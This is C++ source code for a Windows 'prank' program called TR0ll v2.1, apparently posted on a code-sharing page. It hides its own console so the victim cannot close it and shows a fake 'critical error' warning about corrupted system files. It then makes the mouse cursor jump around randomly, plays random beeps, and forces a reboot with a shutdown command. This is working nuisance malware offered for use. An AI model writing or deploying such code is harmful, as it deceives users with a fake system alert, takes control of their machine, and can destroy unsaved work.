1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
|
#define _WIN32_WINNT 0x0500 //For hiding your console
#include <cstdlib>
#include <iostream>
#include <Windows.h>
#include <WinBase.h>
using namespace std;
void Beeper(), Craze(), TrollM(), HideWin(), WarningM();
HWND hWnd;
LRESULT CALLBACK DlgProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);
void WarningM()
{
// Leave a message to scare the crap out of them
char *mes1 = "A critical error has occurred. Your system files "
"may be corrupted. Windows is trying to fix the issue.";
MessageBox(NULL, mes1,
"Warning", MB_OK | MB_ICONWARNING);
//HAW HAW HAW HAW HAW HAW HAW
}
void HideWin()
{
// Hide the console so that they can't close it
HWND hWnd = GetConsoleWindow();
ShowWindow( hWnd, SW_HIDE);
}
void TrollM()
{
// Leave a sorry message
char *message = "Thanks for your patience. \n"
"This is just a simple prank program and "
"it did not harm your computer.\n"
"Your computer will now restart";
char *title = "TR0ll v2.1";
MessageBox(NULL, message, title, MB_OK);
}
void Craze()
{
// Make the mouse cursor crazy
int X = rand()%1367;
int Y = rand()%769;
SetCursorPos(X, Y);
}
void Beeper()
{
// Make different beep sound with different frequences and durations
int Freq = rand()%2001;
int Dur = rand()%601;
Beep(Freq, Dur);
}
int main()
{
system("TITLE TR0ll");
cout << "TR0ll --v2.1--\n";
HideWin();
WarningM();
Sleep(1000);
int n = 0;
do
{
// The Virus Begins
Beeper();
Craze();
Sleep (10);
n++;
}while(n<100);
TrollM();
system("shutdown -r -t 10");
return EXIT_SUCCESS;
}
|